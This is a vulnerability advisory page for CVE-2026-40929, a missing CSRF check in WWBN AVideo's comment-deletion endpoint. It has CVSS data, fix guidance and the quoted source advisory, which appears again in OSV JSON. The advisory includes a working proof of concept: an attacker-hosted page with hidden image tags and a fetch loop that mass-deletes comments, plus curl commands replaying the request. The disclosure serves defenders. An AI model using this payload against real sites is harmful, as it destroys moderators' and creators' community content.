CVE-2026-40929: Wwbn/avideo WWBN AVideo Is Missing CSRF Vulnerability

MODERATE
Advisory Identifier: GHSA-8qm8-g55h-xmqr
CVSS 5.4
CWE-352
Published
Advisory Summary

CVE-2026-40929 is a MODERATE (CVSS 5.4) wwbn avideo is missing csrf vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves wwbn avideo is missing csrf protection in objects/commentdelete.json.php enables mass comment deletion against moderators and content creators. Remediation is available in the latest vendor maintenance releases.

CVE-2026-40929 at a Glance

CVE Identifier CVE-2026-40929
GHSA Identifier GHSA-8qm8-g55h-xmqr
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2026-40929

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40929, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `objects/commentDelete.json.php` is a state-mutating JSON endpoint that deletes comments but performs no CSRF validation. It does not call `forbidIfIsUntrustedRequest()`, does not verify a CSRF/global token, and does not check `Origin`/`Referer`. Because AVideo intentionally sets `session.cookie_samesite=None` (to support cross-origin embed players), a cross-site request from any attacker-controlled page automatically carries the victim's `PHPSESSID`. Any authenticated victim who has authority to delete one or more comments (site moderators, video owners, and comment authors) can be tricked into deleting comments en masse simply by visiting an attacker page. ## Details ### Vulnerable endpoint: `objects/commentDelete.json.php` ```php // objects/commentDelete.json.php:1-35 <?php header('Content-Type: application/json'); global $global, $config; if (!isset($global['systemRootPath'])) { require_once '../videos/configuration.php'; } require_once $global['systemRootPath'] . 'objects/comment.php'; $obj = new stdClass(); $obj->error = true; $obj->msg = ''; $obj->id = intval(@$_REQUEST['id']); // <-- GET or POST $obj->status = false; if (empty($obj->id)) { $obj->id = intval(@$_REQUEST['comments_id']); } if (empty($obj->id)) { $obj->msg = __("ID can not be empty"); die(_json_encode($obj)); } $objC = new Comment("", 0, $obj->id); $obj->videos_id = $objC->getVideos_id(); $obj->status = $objC->delete(); // <-- destructive action, no CSRF check ... ``` No `forbidIfIsUntrustedRequest()`, no `verifyToken()`, no token/nonce parameter, no `Origin`/`Referer` validation. The handler accepts `$_REQUEST`, so the request may be delivered as `GET` (e.g. via `<img src>`) or `POST` (e.g. via an auto-submitting form / `fetch`). ### Authorization inside `Comment::delete()` does not stop CSRF ```php // objects/comment.php:147-159 public function delete() { if (!self::userCanAdminComment($this->id)) { return false; } ... $sql = "DELETE FROM comments WHERE id = ?"; ... return sqlDAL::writeSql($sql, "i", [$this->id]); } // objects/comment.php:316-332 public static function userCanAdminComment($comments_id) { if (!User::isLogged()) { return false; } if (Permissions::canAdminComment()) { return true; } // site moderator $obj = new Comment("", 0, $comments_id); if ($obj->users_id == User::getId()) { return true; } // comment owner $video = new Video("", "", $obj->videos_id); if ($video->getUsers_id() == User::getId()) { return true; } // video owner return false; } ``` This check is exactly what CSRF abuses: it asks "is the session user allowed to delete this comment?" In a CSRF attack, the session user is the victim, and yes — the victim is allowed. So the check grants the request. ### Site-wide cookie policy makes cross-site delivery reliable ```php // objects/include_config.php:139-146 if ($isHTTPS) { // SameSite=None is intentional: AVideo supports cross-origin iframe embedding // where users must stay authenticated (e.g. video players on third-party sites). // Setting Lax would break that use case. All state-mutating endpoints that are // vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken). ini_set('session.cookie_samesite', 'None'); ini_set('session.cookie_secure', '1'); } ``` The in-source comment is explicit: because AVideo intentionally opts out of SameSite protection, every state-mutating endpoint is responsible for its own CSRF defense. `commentDelete.json.php` forgets to apply it. The canonical example that does get it right is `objects/userUpdate.json.php:18`: ```php // objects/userUpdate.json.php:13-18 if (!User::isLogged()) { $obj->msg = __("Is not logged"); die(json_encode($obj)); } forbidIfIsUntrustedRequest(); // <-- what commentDelete.json.php is missing ``` A repository-wide grep for `forbidIfIsUntrustedRequest` yields only `objects/userUpdate.json.php` and the function definition itself — no shared middleware exists, and no bootstrap in `configuration.php` / `include_config.php` wraps endpoints with a CSRF check. ### Attacker model / victim value - **Site moderators** (any account with `Permissions::canAdminComment()`): full-site comment deletion oracle. - **Video creators** (channel owners): deletion oracle for every comment on their own videos. - **Comment authors**: only their own comments (self-DoS, low value). The first two classes make this a real integrity/availability attack on community content. ## PoC Assume the target AVideo instance runs at `https://victim.example.com` and the victim is a logged-in moderator (or any video owner). The attacker hosts: ```html <!-- https://attacker.example/mass-delete.html --> <!doctype html> <html><body> <h1>Cute kittens</h1> <!-- GET variant (works because the endpoint uses $_REQUEST): --> <img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=1" style="display:none"> <img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=2" style="display:none"> <img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=3" style="display:none"> <!-- ... up to N --> <!-- POST variant (same result, reaches the POST code path the legit UI uses): --> <script> for (let i = 1; i <= 10000; i++) { fetch("https://victim.example.com/objects/commentDelete.json.php", { method: "POST", credentials: "include", headers: {"Content-Type": "application/x-www-form-urlencoded"}, body: "comments_id=" + i }); } </script> </body></html> ``` Manual verification of the server-side handler with the victim's own cookie (demonstrates that the endpoint itself performs the delete with no token): ```bash # 1. Log in as a moderator and capture PHPSESSID curl -c cookies.txt -d 'user=moderator&pass=pass' \ https://victim.example.com/objects/userLogin.json.php # 2. Call the endpoint with nothing but the session cookie and a comments_id. # No CSRF token, no Referer/Origin matching the site. curl -b cookies.txt \ -H 'Origin: https://attacker.example' \ -H 'Referer: https://attacker.example/mass-delete.html' \ 'https://victim.example.com/objects/commentDelete.json.php?comments_id=1' # -> {"error":false,"msg":"","id":1,"status":true,"videos_id":...} ``` The `{"status":true,"error":false}` response confirms the row was deleted; compare with `objects/userUpdate.json.php` under the same Origin/Referer, which returns the "Invalid Request" forbidden page from `forbidIfIsUntrustedRequest()`. ## Impact - Cross-site mass deletion of comments. - Against a site moderator (`Permissions::canAdminComment()`), the attacker can permanently delete every comment on the platform — a severe content-integrity and availability hit on the community layer. - Against any channel owner, the attacker can wipe all discussion under that creator's videos, a targeted reputation / engagement attack (e.g., silence dissent, silence evidence of prior posts). - The attack only requires luring a logged-in victim to any page that can fetch/embed/submit — a forum post, a compromised ad, a link in email, a rogue embed. - No credential compromise is required; the attack does not leak data, but it destroys it. - Because SameSite=None is a deliberate, documented product decision, browser-side defenses do not intervene. ## Recommended Fix Apply the project's own prescribed CSRF pattern to the handler. Two layers are appropriate: 1. Require an authenticated session and reject untrusted-origin requests (same treatment as `userUpdate.json.php`). 2. Restrict the method to `POST` so drive-by `<img>` and navigational `GET` deliveries cannot reach the sink. ```php // objects/commentDelete.json.php <?php header('Content-Type: application/json'); global $global, $config; if (!isset($global['systemRootPath'])) { require_once '../videos/configuration.php'; } require_once $global['systemRootPath'] . 'objects/comment.php'; // --- added CSRF defense --- if (!User::isLogged()) { die(_json_encode((object)['error' => true, 'msg' => __('Is not logged')])); } forbidIfIsUntrustedRequest(); // Referer/Origin gate if ($_SERVER['REQUEST_METHOD'] !== 'POST') { // no $_REQUEST drive-by die(_json_encode((object)['error' => true, 'msg' => 'POST required'])); } // --- end added --- $obj = new stdClass(); $obj->error = true; $obj->msg = ''; $obj->id = intval(@$_POST['id']); $obj->status = false; if (empty($obj->id)) { $obj->id = intval(@$_POST['comments_id']); } ... ``` Stronger (recommended): also require a short-lived global token via `verifyToken()` as the in-source comment in `objects/include_config.php` prescribes, and audit every other `objects/*.json.php` handler that performs a write — the same omission likely affects additional endpoints and should be handled project-wide, ideally through a shared bootstrap that enforces `forbidIfIsUntrustedRequest()` for any `json.php` that mutates state.

CVE-2026-40929 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 29.0

References

Frequently Asked Questions

What is CVE-2026-40929?
CVE-2026-40929 is a security vulnerability in Wwbn/avideo involving WWBN AVideo is missing CSRF protection in objects/commentDelete.json.php enables mass comment deletion against moderators and content creators under CWE-352: Cross-Site Request Forgery (CSRF).
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-40929?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-40929?
CVE-2026-40929 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L.
What CWE is associated with CVE-2026-40929?
CVE-2026-40929 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check Packagist dependencies for CVE-2026-40929?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8qm8-g55h-xmqr",
  "modified" : "2026-04-24T20:32:38Z",
  "published" : "2026-04-14T23:13:08Z",
  "aliases" : [ "CVE-2026-40929" ],
  "summary" : "WWBN AVideo is missing CSRF protection in objects/commentDelete.json.php enables mass comment deletion against moderators and content creators",
  "details" : "## Summary\n\n`objects/commentDelete.json.php` is a state-mutating JSON endpoint that deletes comments but performs no CSRF validation. It does not call `forbidIfIsUntrustedRequest()`, does not verify a CSRF/global token, and does not check `Origin`/`Referer`. Because AVideo intentionally sets `session.cookie_samesite=None` (to support cross-origin embed players), a cross-site request from any attacker-controlled page automatically carries the victim's `PHPSESSID`. Any authenticated victim who has authority to delete one or more comments (site moderators, video owners, and comment authors) can be tricked into deleting comments en masse simply by visiting an attacker page.\n\n## Details\n\n### Vulnerable endpoint: `objects/commentDelete.json.php`\n\n```php\n// objects/commentDelete.json.php:1-35\n<?php\nheader('Content-Type: application/json');\nglobal $global, $config;\nif (!isset($global['systemRootPath'])) {\n    require_once '../videos/configuration.php';\n}\nrequire_once $global['systemRootPath'] . 'objects/comment.php';\n\n$obj = new stdClass();\n$obj->error = true;\n$obj->msg = '';\n$obj->id = intval(@$_REQUEST['id']);      // <-- GET or POST\n$obj->status = false;\n\nif (empty($obj->id)) {\n    $obj->id = intval(@$_REQUEST['comments_id']);\n}\n\nif (empty($obj->id)) {\n    $obj->msg = __(\"ID can not be empty\");\n    die(_json_encode($obj));\n}\n\n$objC = new Comment(\"\", 0, $obj->id);\n$obj->videos_id = $objC->getVideos_id();\n$obj->status = $objC->delete();           // <-- destructive action, no CSRF check\n...\n```\n\nNo `forbidIfIsUntrustedRequest()`, no `verifyToken()`, no token/nonce parameter, no `Origin`/`Referer` validation. The handler accepts `$_REQUEST`, so the request may be delivered as `GET` (e.g. via `<img src>`) or `POST` (e.g. via an auto-submitting form / `fetch`).\n\n### Authorization inside `Comment::delete()` does not stop CSRF\n\n```php\n// objects/comment.php:147-159\npublic function delete() {\n    if (!self::userCanAdminComment($this->id)) {\n        return false;\n    }\n    ...\n    $sql = \"DELETE FROM comments WHERE id = ?\";\n    ...\n    return sqlDAL::writeSql($sql, \"i\", [$this->id]);\n}\n\n// objects/comment.php:316-332\npublic static function userCanAdminComment($comments_id) {\n    if (!User::isLogged()) { return false; }\n    if (Permissions::canAdminComment()) { return true; }   // site moderator\n    $obj = new Comment(\"\", 0, $comments_id);\n    if ($obj->users_id == User::getId()) { return true; }  // comment owner\n    $video = new Video(\"\", \"\", $obj->videos_id);\n    if ($video->getUsers_id() == User::getId()) { return true; } // video owner\n    return false;\n}\n```\n\nThis check is exactly what CSRF abuses: it asks \"is the session user allowed to delete this comment?\" In a CSRF attack, the session user is the victim, and yes — the victim is allowed. So the check grants the request.\n\n### Site-wide cookie policy makes cross-site delivery reliable\n\n```php\n// objects/include_config.php:139-146\nif ($isHTTPS) {\n    // SameSite=None is intentional: AVideo supports cross-origin iframe embedding\n    // where users must stay authenticated (e.g. video players on third-party sites).\n    // Setting Lax would break that use case. All state-mutating endpoints that are\n    // vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\n    ini_set('session.cookie_samesite', 'None');\n    ini_set('session.cookie_secure', '1');\n}\n```\n\nThe in-source comment is explicit: because AVideo intentionally opts out of SameSite protection, every state-mutating endpoint is responsible for its own CSRF defense. `commentDelete.json.php` forgets to apply it. The canonical example that does get it right is `objects/userUpdate.json.php:18`:\n\n```php\n// objects/userUpdate.json.php:13-18\nif (!User::isLogged()) {\n    $obj->msg = __(\"Is not logged\");\n    die(json_encode($obj));\n}\n\nforbidIfIsUntrustedRequest();   // <-- what commentDelete.json.php is missing\n```\n\nA repository-wide grep for `forbidIfIsUntrustedRequest` yields only `objects/userUpdate.json.php` and the function definition itself — no shared middleware exists, and no bootstrap in `configuration.php` / `include_config.php` wraps endpoints with a CSRF check.\n\n### Attacker model / victim value\n\n- **Site moderators** (any account with `Permissions::canAdminComment()`): full-site comment deletion oracle.\n- **Video creators** (channel owners): deletion oracle for every comment on their own videos.\n- **Comment authors**: only their own comments (self-DoS, low value).\n\nThe first two classes make this a real integrity/availability attack on community content.\n\n## PoC\n\nAssume the target AVideo instance runs at `https://victim.example.com` and the victim is a logged-in moderator (or any video owner). The attacker hosts:\n\n```html\n<!-- https://attacker.example/mass-delete.html -->\n<!doctype html>\n<html><body>\n<h1>Cute kittens</h1>\n<!-- GET variant (works because the endpoint uses $_REQUEST): -->\n<img src=\"https://victim.example.com/objects/commentDelete.json.php?comments_id=1\" style=\"display:none\">\n<img src=\"https://victim.example.com/objects/commentDelete.json.php?comments_id=2\" style=\"display:none\">\n<img src=\"https://victim.example.com/objects/commentDelete.json.php?comments_id=3\" style=\"display:none\">\n<!-- ... up to N -->\n\n<!-- POST variant (same result, reaches the POST code path the legit UI uses): -->\n<script>\nfor (let i = 1; i <= 10000; i++) {\n  fetch(\"https://victim.example.com/objects/commentDelete.json.php\", {\n    method: \"POST\",\n    credentials: \"include\",\n    headers: {\"Content-Type\": \"application/x-www-form-urlencoded\"},\n    body: \"comments_id=\" + i\n  });\n}\n</script>\n</body></html>\n```\n\nManual verification of the server-side handler with the victim's own cookie (demonstrates that the endpoint itself performs the delete with no token):\n\n```bash\n# 1. Log in as a moderator and capture PHPSESSID\ncurl -c cookies.txt -d 'user=moderator&pass=pass' \\\n  https://victim.example.com/objects/userLogin.json.php\n\n# 2. Call the endpoint with nothing but the session cookie and a comments_id.\n#    No CSRF token, no Referer/Origin matching the site.\ncurl -b cookies.txt \\\n  -H 'Origin: https://attacker.example' \\\n  -H 'Referer: https://attacker.example/mass-delete.html' \\\n  'https://victim.example.com/objects/commentDelete.json.php?comments_id=1'\n# -> {\"error\":false,\"msg\":\"\",\"id\":1,\"status\":true,\"videos_id\":...}\n```\n\nThe `{\"status\":true,\"error\":false}` response confirms the row was deleted; compare with `objects/userUpdate.json.php` under the same Origin/Referer, which returns the \"Invalid Request\" forbidden page from `forbidIfIsUntrustedRequest()`.\n\n## Impact\n\n- Cross-site mass deletion of comments.\n- Against a site moderator (`Permissions::canAdminComment()`), the attacker can permanently delete every comment on the platform — a severe content-integrity and availability hit on the community layer.\n- Against any channel owner, the attacker can wipe all discussion under that creator's videos, a targeted reputation / engagement attack (e.g., silence dissent, silence evidence of prior posts).\n- The attack only requires luring a logged-in victim to any page that can fetch/embed/submit — a forum post, a compromised ad, a link in email, a rogue embed.\n- No credential compromise is required; the attack does not leak data, but it destroys it.\n- Because SameSite=None is a deliberate, documented product decision, browser-side defenses do not intervene.\n\n## Recommended Fix\n\nApply the project's own prescribed CSRF pattern to the handler. Two layers are appropriate:\n\n1. Require an authenticated session and reject untrusted-origin requests (same treatment as `userUpdate.json.php`).\n2. Restrict the method to `POST` so drive-by `<img>` and navigational `GET` deliveries cannot reach the sink.\n\n```php\n// objects/commentDelete.json.php\n<?php\nheader('Content-Type: application/json');\nglobal $global, $config;\nif (!isset($global['systemRootPath'])) {\n    require_once '../videos/configuration.php';\n}\nrequire_once $global['systemRootPath'] . 'objects/comment.php';\n\n// --- added CSRF defense ---\nif (!User::isLogged()) {\n    die(_json_encode((object)['error' => true, 'msg' => __('Is not logged')]));\n}\nforbidIfIsUntrustedRequest();                       // Referer/Origin gate\nif ($_SERVER['REQUEST_METHOD'] !== 'POST') {         // no $_REQUEST drive-by\n    die(_json_encode((object)['error' => true, 'msg' => 'POST required']));\n}\n// --- end added ---\n\n$obj = new stdClass();\n$obj->error = true;\n$obj->msg = '';\n$obj->id = intval(@$_POST['id']);\n$obj->status = false;\n\nif (empty($obj->id)) {\n    $obj->id = intval(@$_POST['comments_id']);\n}\n...\n```\n\nStronger (recommended): also require a short-lived global token via `verifyToken()` as the in-source comment in `objects/include_config.php` prescribes, and audit every other `objects/*.json.php` handler that performs a write — the same omission likely affects additional endpoints and should be handled project-wide, ideally through a shared bootstrap that enforces `forbidIfIsUntrustedRequest()` for any `json.php` that mutates state.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-8qm8-g55h-xmqr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40929"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/184f36b1896f3364f864f17c1acca3dd8df3af27"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T23:13:08Z",
    "nvd_published_at" : "2026-04-21T23:16:20Z"
  }
}